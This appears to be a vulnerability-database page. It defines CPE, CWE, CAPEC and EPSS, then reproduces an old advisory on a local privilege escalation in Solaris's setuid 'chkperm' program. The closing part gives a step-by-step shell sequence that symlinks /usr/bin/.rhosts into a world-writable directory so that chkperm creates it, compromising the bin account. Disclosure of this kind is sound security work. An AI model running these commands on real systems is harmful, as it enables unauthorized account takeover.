CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.

EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Solaris 2.4, 2.5, and 2.5.1 (possibly other versions) have a package called FACE (Framed Access Command Environment) installed. Included in the package is a program called chkperm which checks a file to see if the user has permission to use the FACE interface. This program is installed suid and sgid bin, and is trivially exploitable to compromise the bin account under Solaris 2.4.
Running chkperm in a directory that has world write privilege or in a directory that belongs to bin. chkperm on Solaris 2.5 seems to create a file called <gibberish characters> in the directory from where you execute it. chkperm needs write access for user bin (or group bin) to the directory from which you execute it. It also works the same with just 'chkperm -l', you can set the environment variable VMSYS to anything.
You could then create the link (to .rhosts in the example) using the <gibberish characters> file name created by chkperm and accomplish the same result.
% mkdir /tmp/foo
% mkdir /tmp/foo/lib
% chmod -R 777 /tmp/foo
% setenv VMSYS /tmp/foo
% umask 0000
% ln -s /usr/bin/.rhosts /tmp/foo/lib/.facerc
% /usr/vmsys/bin/chkperm -l -u foo
% ls -l /usr/bin/.rhosts
